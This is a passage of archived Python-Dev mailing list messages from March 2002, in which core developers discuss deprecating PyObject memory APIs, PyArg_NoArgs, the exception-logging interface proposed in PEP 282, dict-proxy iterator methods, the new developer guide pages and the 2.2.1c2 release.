certainly not going to port all those checkins you made to the -maint
branch.

Cheers,
M.

-- 
  For their next act, they'll no doubt be buying a firewall 
  running under NT, which makes about as much sense as 
  building a prison out of meringue.                     -- -:Tanuki:-
               -- http://home.xnet.com/~raven/Sysadmin/ASR.Quotes.html


From martin@v.loewis.de  Mon Mar 25 12:39:38 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 25 Mar 2002 13:39:38 +0100
Subject: [Python-Dev] Activating pymalloc
In-Reply-To: <LNBBLJKPBEHFEDALKOLCEEGAOHAA.tim.one@comcast.net>
References: <LNBBLJKPBEHFEDALKOLCEEGAOHAA.tim.one@comcast.net>
Message-ID: <m3zo0wlt2t.fsf@mira.informatik.hu-berlin.de>

Tim Peters <tim.one@comcast.net> writes:

> One simplification:  deprecate the entire PyObject_XXX family.  We
> introduced PyMalloc_XXX to do what PyObject_XXX was *supposed* to be used
> for; it's "only" backward compatibility that argued for introducing
> PyMalloc_XXX instead.  OTOH, deprecating PyObject_XXX isn't a simplification
> extension authors are likely to appreciate at first <wink>.

+1. IMO, deprecation would involve removing those from the
documentation (or explicitly list them as deprecated, without
explaining what they do), and explain that they are dead in the header
files. That could be the state of deprecation for the years to come.

Extension authors won't appreciate the introduction of PyMalloc_*,
since it means they need to change their code to make use of the pool
allocator, but once they've done that, there should not be any
PyObject_ left in your code.

Regards,
Martin




From gsw@agere.com  Mon Mar 25 12:47:58 2002
From: gsw@agere.com (Gerald S. Williams)
Date: Mon, 25 Mar 2002 07:47:58 -0500
Subject: [Python-Dev] RE: POSIX thread code and Cygwin
In-Reply-To: <m3adt0w4zx.fsf@mira.informatik.hu-berlin.de>
Message-ID: <GBEGLOMMCLDACBPKDIHFEEIPCHAA.gsw@agere.com>

Martin v. Loewis wrote:
> > Before _POSIX_SEMAPHORES is specified by default for 
> > Cygwin, it will probably have to be shown that it is 100% 
> > compliant with POSIX. 
> 
> Please don't guess in such matters; this is not very convincing.

Sorry about the wording. I'm looking at ISO/IEC 9945-1-1996
(i.e., ANSI/IEEE Std 1003.1, the POSIX API spec), and the
section on semaphores does give quite specific requirements
that have to be met if you define _POSIX_SEMAPHORES.

<Sigh>

I'll work with Jason and get _POSIX_SEMAPHORES defined in
Cygwin or (if this isn't possible) present an alternative
that doesn't imply POSIX support.

-Jerry

-O Gerald S. Williams, 22Y-103GA : mailto:gsw@agere.com O-
-O AGERE SYSTEMS, 555 UNION BLVD : office:610-712-8661  O-
-O ALLENTOWN, PA, USA 18109-3286 : mobile:908-672-7592  O-



From guido@python.org  Mon Mar 25 15:10:09 2002
From: guido@python.org (Guido van Rossum)
Date: Mon, 25 Mar 2002 10:10:09 -0500
Subject: [Python-Dev] Activating pymalloc
In-Reply-To: Your message of "Sun, 24 Mar 2002 19:13:32 CST."
 <15518.31164.870619.585835@12-248-41-177.client.attbi.com>
References: <15518.28897.516779.711154@12-248-41-177.client.attbi.com> <LNBBLJKPBEHFEDALKOLCEEFNOHAA.tim.one@comcast.net>
 <15518.31164.870619.585835@12-248-41-177.client.attbi.com>
Message-ID: <200203251510.g2PFA9a32652@pcp742651pcs.reston01.va.comcast.net>

> Hmmm...  Sounds like this would be an area ripe for BDFL pronouncement.

Except I have consciously blocked out this entire discussion.  If Tim
agrees that I should pronounce, he & I should talk this over some time
tomorrow when we're in the same office.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From neal@metaslash.com  Mon Mar 25 16:05:20 2002
From: neal@metaslash.com (Neal Norwitz)
Date: Mon, 25 Mar 2002 11:05:20 -0500
Subject: [Python-Dev] Use of PyArg_NoArgs()
Message-ID: <3C9F4AC0.C076679B@metaslash.com>

Should the use of PyArg_NoArgs() be deprecated?

There are many uses (53) throughout Modules/*.c.  It seems that this
check is not useful anymore if the MethodDef is set to METH_NOARGS.
Is this correct?  If so, I can make a patch.

Neal


From fdrake@acm.org  Mon Mar 25 16:07:34 2002
From: fdrake@acm.org (Fred L. Drake, Jr.)
Date: Mon, 25 Mar 2002 11:07:34 -0500
Subject: [Python-Dev] Use of PyArg_NoArgs()
In-Reply-To: <3C9F4AC0.C076679B@metaslash.com>
References: <3C9F4AC0.C076679B@metaslash.com>
Message-ID: <15519.19270.172413.946758@grendel.zope.com>

Neal Norwitz writes:
 > Should the use of PyArg_NoArgs() be deprecated?

Probably.  Even if used with METH_OLDARSG, it doesn't produce as nice
an error message because it doesn't know the name of the function it
is being called for.  There should be strong encouragement to shift to
using METH_NOARGS in code that doesn't need to be compatible with
older versions of Python.  (And the code distributed with Python
certainly seems to fall into that category!)

 > There are many uses (53) throughout Modules/*.c.  It seems that this
 > check is not useful anymore if the MethodDef is set to METH_NOARGS.
 > Is this correct?  If so, I can make a patch.

Please do.  Thanks!


  -Fred

-- 
Fred L. Drake, Jr.  <fdrake at acm.org>
PythonLabs at Zope Corporation


From fdrake@acm.org  Mon Mar 25 16:29:10 2002
From: fdrake@acm.org (Fred L. Drake, Jr.)
Date: Mon, 25 Mar 2002 11:29:10 -0500
Subject: [Python-Dev] Activating pymalloc
In-Reply-To: <m3zo0wlt2t.fsf@mira.informatik.hu-berlin.de>
References: <LNBBLJKPBEHFEDALKOLCEEGAOHAA.tim.one@comcast.net>
 <m3zo0wlt2t.fsf@mira.informatik.hu-berlin.de>
Message-ID: <15519.20566.575349.315977@grendel.zope.com>

Martin v. Loewis writes:
 > +1. IMO, deprecation would involve removing those from the
 > documentation (or explicitly list them as deprecated, without
 > explaining what they do), and explain that they are dead in the header
 > files. That could be the state of deprecation for the years to come.

No; the descriptions should not be *removed*; someone needing to port
code from an older version of Python to a newer version, or seeking to
keep code highly portable among versions, can benefit from the
descriptions.  These would be marked with the deprecation notice,
which would include a pointer to the "new way".

The deprecation notices should probably be added to the 2.2.1 docs
since this will be important to anyone needing to maintain extensions.
(The text of the deprecation notice would clearly need to be
different, and would indicate that the deprecation is effective in
2.3.)  When the old entry points should be removed is a separate
issue, but just as clearly should not be the same version as the
deprecation is effective.  So 2.4 at the earliest.

Tim:  I've not had time to follow every detail of this conversation;
please file an SF bug report on the docs, listing *exactly* which
functions & macros I should mark as deprecated.


  -Fred

-- 
Fred L. Drake, Jr.  <fdrake at acm.org>
PythonLabs at Zope Corporation


From jim@zope.com  Mon Mar 25 17:00:54 2002
From: jim@zope.com (Jim Fulton)
Date: Mon, 25 Mar 2002 12:00:54 -0500
Subject: [Python-Dev] Re: PEP 282 comments
References: <20020320181307.B3444@ActiveState.com>
 <web-3791391@digicool.com>
 <20020321004605.D32590@ActiveState.com>
 <200203211309.g2LD9Nv06766@pcp742651pcs.reston01.va.comcast.net>
 <20020321104204.C7763@ActiveState.com> <15513.63460.96950.618541@slothrop.zope.com>
Message-ID: <3C9F57C6.10F693EB@zope.com>

Jeremy Hylton wrote:
> 
> >>>>> "TM" == Trent Mick <trentm@ActiveState.com> writes:
> 
>   TM> [Guido van Rossum wrote]
>   >> > [Jeremy Hylton wrote]
>   >> > > It seems quite plausible to decide to log an exception and
>   >> > > then get another trivial exception raised and caught on the
>   >> > > way to the logger.  You would still want to log the original
>   >> > > exception, so passing it explicitly is helpful sometimes.
>   >>
>   >> [Trent]
>   >> > Yes, I suppose so.
>   >>
>   >> I'd like to call YAGNI on this.  Also on the idea of being able
>   >> to pass an exception to all logging levels.  Also on the idea of
>   >> passing the exc_info in rather than having the logger call
>   >> sys.exc_info().
>   >>
>   >> Instead, the logger should be subclassable or extensible so that
>   >> Jeremy can implement this functionality if he really wants it.
> 
> What's the point here?  I've presented use cases, and I maintain a
> large body of ZODB/ZEO code that already uses these features.  So it
> simply doesn't make sense to say "You Ain't Gonna Need It" because I
> already need it and zLOG already has it.
> 
> The feature is simple to explain and implement, and seems to have low
> implementation cost.  So I certainly think it meets the simplest thing
> that could possibly work criteria.

Yes, this is an important feature.

Thanks Jeremy. :)

BTW, the PEP really should reference zLOG. It didn't the
last time I looked.

Jim

--
Jim Fulton           mailto:jim@zope.com       Python Powered!        
CTO                  (888) 344-4332            http://www.python.org  
Zope Corporation     http://www.zope.com       http://www.zope.org


From guido@python.org  Mon Mar 25 17:17:52 2002
From: guido@python.org (Guido van Rossum)
Date: Mon, 25 Mar 2002 12:17:52 -0500
Subject: [Python-Dev] Use of PyArg_NoArgs()
In-Reply-To: Your message of "Mon, 25 Mar 2002 11:05:20 EST."
 <3C9F4AC0.C076679B@metaslash.com>
References: <3C9F4AC0.C076679B@metaslash.com>
Message-ID: <200203251717.g2PHHqb01182@pcp742651pcs.reston01.va.comcast.net>

> Should the use of PyArg_NoArgs() be deprecated?

Sure, why not.

> There are many uses (53) throughout Modules/*.c.  It seems that this
> check is not useful anymore if the MethodDef is set to METH_NOARGS.

Yes, that's the recommended way.

> Is this correct?  If so, I can make a patch.

You can just check it in.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From tim.one@comcast.net  Mon Mar 25 17:25:55 2002
From: tim.one@comcast.net (Tim Peters)
Date: Mon, 25 Mar 2002 12:25:55 -0500
Subject: [Python-Dev] Activating pymalloc
In-Reply-To: <15519.20566.575349.315977@grendel.zope.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCOEIJOHAA.tim.one@comcast.net>

[Fred L. Drake, Jr.]
> ...
> Tim:  I've not had time to follow every detail of this conversation;
> please file an SF bug report on the docs, listing *exactly* which
> functions & macros I should mark as deprecated.

At this moment, there are no such entities.


From jim@zope.com  Mon Mar 25 17:22:03 2002
From: jim@zope.com (Jim Fulton)
Date: Mon, 25 Mar 2002 12:22:03 -0500
Subject: [Python-Dev] Re: PEP 282 comments
References: <20020320181307.B3444@ActiveState.com> <web-3791391@digicool.com> <20020321004605.D32590@ActiveState.com> <200203211309.g2LD9Nv06766@pcp742651pcs.reston01.va.comcast.net> <20020321104204.C7763@ActiveState.com> <15513.63460.96950.618541@slothrop.zope.com> <20020321193747.C26767@ActiveState.com>
Message-ID: <3C9F5CBB.C44BC3AD@zope.com>

Trent Mick wrote:
> 
> So the decision is between the simpler:
> 
>     class Logger:
>         def info(self, msg, *args): ...
> 
>         def exception(self, msg, *args):
>             """Log sys.exc_info() at the ERROR level"""
> 
> and the slightly more complex:
> 
>     class Logger:
>         def info(self, msg, *args, **kwargs):
>             """Use kwargs["exc_info"] to log an exception at this level."""
> 
>         def exception(self, msg, *args, **kwargs):
>             """Optionally pass in kwargs["exc_info"] otherwise sys.exc_info()
>             is called to log exception information at the ERROR level."""
> 
> The argument for the latter is that is adds the capability of:
>     (1) Logging an exception at a level other than ERROR (for which Jeremy
>         maintains there is a string use case and for which Kevin Butler gives
>         a simpler use case); and
>     (2) Optionally explicitly passing in exc_info, that may differ from
>         sys.exc_info().
> 
> 
> The argument for the former is:
>     (1) KISS and YAGNI

It can't be YAGNI if there is a need.


>     (2) You should just be able to subclass Logger and add the functionality
>         you want. This is only a string point if the given use cases are not
>         at all common.
>     (3) If you want to pass in exc_info other than sys.exc_info() then
>         format it yourself or subclass Logger.
> 
> Thoughts?

We have a need to make it easy to include error traceback in logs
regardless of the level.  

Here are a couple of other alternatives:

  C. Make arguments more explicit:

      class Logger:
         def info(self, msg, args=None, kwargs=None, exc_info=None):
 
         def exception(self, msg, args=None, kwargs=None, exc_info=None):

     I have to say that I don't like the trend toward use of *args and **kwargs
     to pass arguments that will be just grabbed and passed to something else. 
     It provides only slight syntactic sure (especially for positional arguments)
     and adds complications, like making it hard to add arguments to the function.

  D. Provide an exception formatter that delays formatting until a message
     is logged. I don't like this so much because I'd prefer that the decision
     about whether to show a tracebeck be a policy of the back end.

Jim


--
Jim Fulton           mailto:jim@zope.com       Python Powered!        
CTO                  (888) 344-4332            http://www.python.org  
Zope Corporation     http://www.zope.com       http://www.zope.org


From walter@livinglogic.de  Mon Mar 25 17:30:26 2002
From: walter@livinglogic.de (=?ISO-8859-15?Q?Walter_D=F6rwald?=)
Date: Mon, 25 Mar 2002 18:30:26 +0100
Subject: [Python-Dev] iterkeys, itervalues, iteritems for dict-proxies
Message-ID: <3C9F5EB2.7010609@livinglogic.de>

iterkeys(), itervalues() and iteritems() are missing from
dict-proxy objects. Was this done on purpose or was it an oversight?

Should these missing methods be added (and the "XXX" docstrings
be fixed along the way)?

Bye,
    Walter Dörwald

-- 
Walter Dörwald · LivingLogic AG, Bayreuth/Germany · www.livinglogic.de



From fredrik@pythonware.com  Mon Mar 25 17:28:53 2002
From: fredrik@pythonware.com (Fredrik Lundh)
Date: Mon, 25 Mar 2002 18:28:53 +0100
Subject: [Python-Dev] Activating pymalloc
References: <LNBBLJKPBEHFEDALKOLCEEGAOHAA.tim.one@comcast.net><m3zo0wlt2t.fsf@mira.informatik.hu-berlin.de> <15519.20566.575349.315977@grendel.zope.com>
Message-ID: <01aa01c1d422$9875ad30$ced241d5@hagrid>

fred wrote:

> No; the descriptions should not be *removed*; someone needing to port
> code from an older version of Python to a newer version, or seeking to
> keep code highly portable among versions, can benefit from the
> descriptions.

for extra credit, please add some text on "the right way" to
write highly portable allocation code...

</F>



From fdrake@acm.org  Mon Mar 25 17:31:12 2002
From: fdrake@acm.org (Fred L. Drake, Jr.)
Date: Mon, 25 Mar 2002 12:31:12 -0500
Subject: [Python-Dev] iterkeys, itervalues, iteritems for dict-proxies
In-Reply-To: <3C9F5EB2.7010609@livinglogic.de>
References: <3C9F5EB2.7010609@livinglogic.de>
Message-ID: <15519.24288.397168.864044@grendel.zope.com>

Walter sez:
 > iterkeys(), itervalues() and iteritems() are missing from
 > dict-proxy objects. Was this done on purpose or was it an oversight?
 >
 > Should these missing methods be added (and the "XXX" docstrings
 > be fixed along the way)?

I think they should be added; I can't think of any reason not to add
them.


  -Fred

-- 
Fred L. Drake, Jr.  <fdrake at acm.org>
PythonLabs at Zope Corporation


From guido@python.org  Mon Mar 25 17:41:11 2002
From: guido@python.org (Guido van Rossum)
Date: Mon, 25 Mar 2002 12:41:11 -0500
Subject: [Python-Dev] iterkeys, itervalues, iteritems for dict-proxies
In-Reply-To: Your message of "Mon, 25 Mar 2002 18:30:26 +0100."
 <3C9F5EB2.7010609@livinglogic.de>
References: <3C9F5EB2.7010609@livinglogic.de>
Message-ID: <200203251741.g2PHfBk01542@pcp742651pcs.reston01.va.comcast.net>

> iterkeys(), itervalues() and iteritems() are missing from
> dict-proxy objects. Was this done on purpose or was it an oversight?

Oversight.

> Should these missing methods be added (and the "XXX" docstrings
> be fixed along the way)?

If you can prepare a patch, that'd be great!

--Guido van Rossum (home page: http://www.python.org/~guido/)


From skip@pobox.com  Mon Mar 25 17:45:00 2002
From: skip@pobox.com (Skip Montanaro)
Date: Mon, 25 Mar 2002 11:45:00 -0600
Subject: [Python-Dev] Re: PEP 282 comments
In-Reply-To: <3C9F5CBB.C44BC3AD@zope.com>
References: <20020320181307.B3444@ActiveState.com>
 <web-3791391@digicool.com>
 <20020321004605.D32590@ActiveState.com>
 <200203211309.g2LD9Nv06766@pcp742651pcs.reston01.va.comcast.net>
 <20020321104204.C7763@ActiveState.com>
 <15513.63460.96950.618541@slothrop.zope.com>
 <20020321193747.C26767@ActiveState.com>
 <3C9F5CBB.C44BC3AD@zope.com>
Message-ID: <15519.25116.710344.173313@beluga.mojam.com>

    Jim> It can't be YAGNI if there is a need.

Like many other people who have implemented web server type beasts, I added
a logging capability to my XML-RPC server.  I will wager that if you survey
others who have written similar tools (from small servers to big things on
the scale of Webware, Quixote, or Zope) that they have all implemented some
sort of logging facility.  It is definitely not something people aren't
going to need (I *hate* that acronym - I'll keep spelling it out, thank
you).

Mine logger was written just for use with a single application, so doesn't
have the bells and whistles others have apparently found indispensable.  I
would dump it in a flash if something was made available in the standard
library even if it meant rewriting every line that makes calls to my current
logger.  My only functional request is that it be able to integrate with the
Unix syslog facility so I can control where messages go with the same "tool"
(a text editor + /etc/syslog.conf) that I've used for years.

Skip


From tim.one@comcast.net  Mon Mar 25 17:46:16 2002
From: tim.one@comcast.net (Tim Peters)
Date: Mon, 25 Mar 2002 12:46:16 -0500
Subject: [Python-Dev] Activating pymalloc
In-Reply-To: <200203251510.g2PFA9a32652@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <LNBBLJKPBEHFEDALKOLCEEINOHAA.tim.one@comcast.net>

[Guido]
> Except I have consciously blocked out this entire discussion.  If Tim
> agrees that I should pronounce, he & I should talk this over some time
> tomorrow when we're in the same office.

I won't be in the office tomorrow.

The need here is to settle on details anyway.  First is divining or deciding
what the intended rules actually are.  Two possibilities are spelled out in
exhaustive tables, posted in yesterday's:

http://mail.python.org/pipermail/python-dev/2002-March/021694.html

Pick one, or invent another table.

After you settle on a specific set of rules, *possibilities* for deprecation
will become obvious based on the lumpiness of the categories in the table.
That's a different discussion.  The rules have to be understood first.



From walter@livinglogic.de  Mon Mar 25 17:48:29 2002
From: walter@livinglogic.de (=?ISO-8859-15?Q?Walter_D=F6rwald?=)
Date: Mon, 25 Mar 2002 18:48:29 +0100
Subject: [Python-Dev] iterkeys, itervalues, iteritems for dict-proxies
References: <3C9F5EB2.7010609@livinglogic.de> <200203251741.g2PHfBk01542@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <3C9F62ED.9030002@livinglogic.de>

Guido van Rossum wrote:

>>iterkeys(), itervalues() and iteritems() are missing from
>>dict-proxy objects. Was this done on purpose or was it an oversight?
> 
> 
> Oversight.
> 
> 
>>Should these missing methods be added (and the "XXX" docstrings
>>be fixed along the way)?
> 
> 
> If you can prepare a patch, that'd be great!

I already checked in the change. I hope this is OK!

Bye,
    Walter Dörwald

-- 
Walter Dörwald · LivingLogic AG, Bayreuth/Germany · www.livinglogic.de



From jim@zope.com  Mon Mar 25 17:50:02 2002
From: jim@zope.com (Jim Fulton)
Date: Mon, 25 Mar 2002 12:50:02 -0500
Subject: [Python-Dev] Re: PEP 282 comments
References: <20020320181307.B3444@ActiveState.com>
 <web-3791391@digicool.com>
 <20020321004605.D32590@ActiveState.com>
 <200203211309.g2LD9Nv06766@pcp742651pcs.reston01.va.comcast.net>
 <20020321104204.C7763@ActiveState.com>
 <15513.63460.96950.618541@slothrop.zope.com>
 <20020321193747.C26767@ActiveState.com>
 <3C9F5CBB.C44BC3AD@zope.com> <15519.25116.710344.173313@beluga.mojam.com>
Message-ID: <3C9F634A.6DFF7CD6@zope.com>

Skip Montanaro wrote:
> 
...
> Mine logger was written just for use with a single application, so doesn't
> have the bells and whistles others have apparently found indispensable.  I
> would dump it in a flash if something was made available in the standard
> library even if it meant rewriting every line that makes calls to my current
> logger. 

Yup. I look forward to changing all out zLOG calls to use the new
standard logger. More important, I look forward to having all the
other cool Python software I reuse use the same logging facility I 
use. :)

Jim

--
Jim Fulton           mailto:jim@zope.com       Python Powered!        
CTO                  (888) 344-4332            http://www.python.org  
Zope Corporation     http://www.zope.com       http://www.zope.org


From fdrake@acm.org  Mon Mar 25 18:00:15 2002
From: fdrake@acm.org (Fred L. Drake, Jr.)
Date: Mon, 25 Mar 2002 13:00:15 -0500
Subject: [Python-Dev] iterkeys, itervalues, iteritems for dict-proxies
In-Reply-To: <3C9F62ED.9030002@livinglogic.de>
References: <3C9F5EB2.7010609@livinglogic.de>
 <200203251741.g2PHfBk01542@pcp742651pcs.reston01.va.comcast.net>
 <3C9F62ED.9030002@livinglogic.de>
Message-ID: <15519.26031.417599.774681@grendel.zope.com>

Walter:
 > I already checked in the change. I hope this is OK!

I noticed that there were no changes to the test suite.  Could you add
that?


  -Fred

-- 
Fred L. Drake, Jr.  <fdrake at acm.org>
PythonLabs at Zope Corporation


From barry@zope.com  Mon Mar 25 18:06:47 2002
From: barry@zope.com (Barry A. Warsaw)
Date: Mon, 25 Mar 2002 13:06:47 -0500
Subject: [Python-Dev] Re: PEP 282 comments
References: <20020320181307.B3444@ActiveState.com>
 <web-3791391@digicool.com>
 <20020321004605.D32590@ActiveState.com>
 <200203211309.g2LD9Nv06766@pcp742651pcs.reston01.va.comcast.net>
 <20020321104204.C7763@ActiveState.com>
 <15513.63460.96950.618541@slothrop.zope.com>
 <20020321193747.C26767@ActiveState.com>
 <3C9F5CBB.C44BC3AD@zope.com>
 <15519.25116.710344.173313@beluga.mojam.com>
 <3C9F634A.6DFF7CD6@zope.com>
Message-ID: <15519.26423.62765.338619@anthem.wooz.org>

>>>>> "JF" == Jim Fulton <jim@zope.com> writes:

    JF> Yup. I look forward to changing all out zLOG calls to use the
    JF> new standard logger. More important, I look forward to having
    JF> all the other cool Python software I reuse use the same
    JF> logging facility I use. :)

Here, here!
-Barry


From A.M. Kuchling <akuchlin@mems-exchange.org>  Mon Mar 25 18:12:47 2002
From: A.M. Kuchling <akuchlin@mems-exchange.org> (Andrew Kuchling)
Date: Mon, 25 Mar 2002 13:12:47 -0500
Subject: [Python-Dev] Developer's guide Web pages
Message-ID: <E16pYxb-0001ta-00@crystal.mems-exchange.org>

The python-dev HOWTO has now been cut up and rearranged into a set of
Web pages at http://www.python.org/dev/ .

Please suggest additional things that should be explained in these
pages, or that should be linked to.  Comments on the accuracy of the
"Python Culture" page are also welcome; it might be missing some
important points, or it might describe my idealization of how we try
to behave. :)

And if anyone has suggestions on how make the pages more likely to
attract new developers to Python, I'm all ears!

--amk                                                             (www.amk.ca)
It's more serious than death, Mr Stevenson. He's changing form.
    -- The Doctor, in "The Seeds of Doom"


From martin@v.loewis.de  Mon Mar 25 18:11:46 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 25 Mar 2002 19:11:46 +0100
Subject: [Python-Dev] Use of PyArg_NoArgs()
In-Reply-To: <3C9F4AC0.C076679B@metaslash.com>
References: <3C9F4AC0.C076679B@metaslash.com>
Message-ID: <m3sn6oecv1.fsf@mira.informatik.hu-berlin.de>

Neal Norwitz <neal@metaslash.com> writes:

> Should the use of PyArg_NoArgs() be deprecated?
> 
> There are many uses (53) throughout Modules/*.c.  It seems that this
> check is not useful anymore if the MethodDef is set to METH_NOARGS.
> Is this correct?  If so, I can make a patch.

I would prefer if you could simultaneously remove occurences of
METH_OLDARGS (introducing METH_O where possible), so that modules get
cleaned-up entirely, rather than just replacing the easy parts :-)

The reason why such changes haven't been applied to all modules is
that some of the modules are old in themselves, and I would have no
way to verify that the module is working properly after the changes.

Regards,
Martin


From walter@livinglogic.de  Mon Mar 25 18:38:55 2002
From: walter@livinglogic.de (=?ISO-8859-1?Q?Walter_D=F6rwald?=)
Date: Mon, 25 Mar 2002 19:38:55 +0100
Subject: [Python-Dev] iterkeys, itervalues, iteritems for dict-proxies
References: <3C9F5EB2.7010609@livinglogic.de>	<200203251741.g2PHfBk01542@pcp742651pcs.reston01.va.comcast.net>	<3C9F62ED.9030002@livinglogic.de> <15519.26031.417599.774681@grendel.zope.com>
Message-ID: <3C9F6EBF.40905@livinglogic.de>

Fred L. Drake, Jr. wrote:
> Walter:
>  > I already checked in the change. I hope this is OK!
> 
> I noticed that there were no changes to the test suite.  Could you add
> that?

Done!

-- 
Walter Dörwald · LivingLogic AG, Bayreuth/Germany · www.livinglogic.de



From tim.one@comcast.net  Mon Mar 25 18:38:06 2002
From: tim.one@comcast.net (Tim Peters)
Date: Mon, 25 Mar 2002 13:38:06 -0500
Subject: [Python-Dev] 2.2.1c1 platform reports.
In-Reply-To: <2m3cyo7vop.fsf@starship.python.net>
Message-ID: <LNBBLJKPBEHFEDALKOLCAEJCOHAA.tim.one@comcast.net>

[Andrew MacIntyre]
> Sorry, I've not had time to look at this for the OS/2-EMX build; maybe
> tonight.

[Michael Hudson]
> I thought OS/2-EMX was only going to be supported in 2.3?  I'm
> certainly not going to port all those checkins you made to the -maint
> branch.

In general, ports to new platforms are considered "new features", so don't
go in to bugfix releases.  Rare exceptions have been made when the required
changes are tiny and "obviously" can't hurt anything.  The OS/2-EMX changes
don't qualify here (and, e.g., they did break the Windows build -- who knows
what else may have been damaged?  "nobody" is correct <wink>).



From fdrake@acm.org  Mon Mar 25 18:37:39 2002
From: fdrake@acm.org (Fred L. Drake, Jr.)
Date: Mon, 25 Mar 2002 13:37:39 -0500
Subject: [Python-Dev] iterkeys, itervalues, iteritems for dict-proxies
In-Reply-To: <3C9F6EBF.40905@livinglogic.de>
References: <3C9F5EB2.7010609@livinglogic.de>
 <200203251741.g2PHfBk01542@pcp742651pcs.reston01.va.comcast.net>
 <3C9F62ED.9030002@livinglogic.de>
 <15519.26031.417599.774681@grendel.zope.com>
 <3C9F6EBF.40905@livinglogic.de>
Message-ID: <15519.28275.709583.323203@grendel.zope.com>

Walter sez:
 > Done!

Thanks!


  -Fred

-- 
Fred L. Drake, Jr.  <fdrake at acm.org>
PythonLabs at Zope Corporation


From guido@python.org  Mon Mar 25 18:45:47 2002
From: guido@python.org (Guido van Rossum)
Date: Mon, 25 Mar 2002 13:45:47 -0500
Subject: [Python-Dev] Developer's guide Web pages
In-Reply-To: Your message of "Mon, 25 Mar 2002 13:12:47 EST."
 <E16pYxb-0001ta-00@crystal.mems-exchange.org>
References: <E16pYxb-0001ta-00@crystal.mems-exchange.org>
Message-ID: <200203251845.g2PIjlK01954@pcp742651pcs.reston01.va.comcast.net>

> The python-dev HOWTO has now been cut up and rearranged into a set of
> Web pages at http://www.python.org/dev/ .

Thanks, Andrew!

> Please suggest additional things that should be explained in these
> pages, or that should be linked to.  Comments on the accuracy of the
> "Python Culture" page are also welcome; it might be missing some
> important points, or it might describe my idealization of how we try
> to behave. :)
> 
> And if anyone has suggestions on how make the pages more likely to
> attract new developers to Python, I'm all ears!

Well, linking to it from the developer info on the home page would
help...

I wonder if the *only* developer link on the home page should go to
/dev/.  That means that all the info currently at the bottom of the
home page (under the heading "For developers") should be folded into
the /dev/ index page.  The "Python at SF" link in the left sidebar
should probably point to the /dev/ section.

I also wonder of we can replace one of the 8 items in the page-top
menu with a developers link?  But which one?

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Mon Mar 25 18:42:03 2002
From: guido@python.org (Guido van Rossum)
Date: Mon, 25 Mar 2002 13:42:03 -0500
Subject: [Python-Dev] iterkeys, itervalues, iteritems for dict-proxies
In-Reply-To: Your message of "Mon, 25 Mar 2002 13:00:15 EST."
 <15519.26031.417599.774681@grendel.zope.com>
References: <3C9F5EB2.7010609@livinglogic.de> <200203251741.g2PHfBk01542@pcp742651pcs.reston01.va.comcast.net> <3C9F62ED.9030002@livinglogic.de>
 <15519.26031.417599.774681@grendel.zope.com>
Message-ID: <200203251842.g2PIg4Z01932@pcp742651pcs.reston01.va.comcast.net>

> Walter:
>  > I already checked in the change. I hope this is OK!
> 
> I noticed that there were no changes to the test suite.  Could you add
> that?

Also, I notice that Walter very recently got commit provileges.  I
though that part of the deal with new committers was to make SF
patches first and check them in only after someone more experienced
has reviewed the patch.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From nas@python.ca  Mon Mar 25 18:53:52 2002
From: nas@python.ca (Neil Schemenauer)
Date: Mon, 25 Mar 2002 10:53:52 -0800
Subject: [Python-Dev] Developer's guide Web pages
In-Reply-To: <E16pYxb-0001ta-00@crystal.mems-exchange.org>; from akuchlin@mems-exchange.org on Mon, Mar 25, 2002 at 01:12:47PM -0500
References: <E16pYxb-0001ta-00@crystal.mems-exchange.org>
Message-ID: <20020325105352.B26198@glacier.arctrix.com>

Andrew Kuchling wrote:
> The python-dev HOWTO has now been cut up and rearranged into a set of
> Web pages at http://www.python.org/dev/ .

Nice.

> Please suggest additional things that should be explained in these
> pages, or that should be linked to.

You should stress the importance of running the test suite before
committing any changes to CVS.  I wonder sometimes if we could use a
tool like Aegis to enforce this rule. 

  Neil


From barry@zope.com  Mon Mar 25 18:51:20 2002
From: barry@zope.com (Barry A. Warsaw)
Date: Mon, 25 Mar 2002 13:51:20 -0500
Subject: [Python-Dev] Developer's guide Web pages
References: <E16pYxb-0001ta-00@crystal.mems-exchange.org>
 <200203251845.g2PIjlK01954@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <15519.29096.906268.125301@anthem.wooz.org>

>>>>> "GvR" == Guido van Rossum <guido@python.org> writes:

    GvR> I also wonder of we can replace one of the 8 items in the
    GvR> page-top menu with a developers link?  But which one?

+1

News

-Barry


From tim.one@comcast.net  Mon Mar 25 19:09:45 2002
From: tim.one@comcast.net (Tim Peters)
Date: Mon, 25 Mar 2002 14:09:45 -0500
Subject: [Python-Dev] Tomorrow's 2.2.1xx release
Message-ID: <LNBBLJKPBEHFEDALKOLCIEJGOHAA.tim.one@comcast.net>

Do we intend to release 2.2.1c2 tomorrow, or 2.2.1 final?  I ask because I
want to get a head start on adding the right identification strings to the
Windows installer.  I expect Fred also needs to know for the docs.



From guido@python.org  Mon Mar 25 19:17:08 2002
From: guido@python.org (Guido van Rossum)
Date: Mon, 25 Mar 2002 14:17:08 -0500
Subject: [Python-Dev] Tomorrow's 2.2.1xx release
In-Reply-To: Your message of "Mon, 25 Mar 2002 14:09:45 EST."
 <LNBBLJKPBEHFEDALKOLCIEJGOHAA.tim.one@comcast.net>
References: <LNBBLJKPBEHFEDALKOLCIEJGOHAA.tim.one@comcast.net>
Message-ID: <200203251917.g2PJH8I02353@pcp742651pcs.reston01.va.comcast.net>

2.2.1c2.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From fdrake@acm.org  Mon Mar 25 20:24:49 2002
From: fdrake@acm.org (Fred L. Drake, Jr.)
Date: Mon, 25 Mar 2002 15:24:49 -0500
Subject: [Python-Dev] release22-maint Doc/ tree is closed
Message-ID: <15519.34705.385863.333370@grendel.zope.com>

Please don't check anything into the Doc/ tree on the release22-maint
branch.  Thanks.


  -Fred

-- 
Fred L. Drake, Jr.  <fdrake at acm.org>
PythonLabs at Zope Corporation


From mwh@python.net  Mon Mar 25 20:34:40 2002
From: mwh@python.net (Michael Hudson)
Date: 25 Mar 2002 20:34:40 +0000
Subject: [Python-Dev] release22-maint Doc/ tree is closed
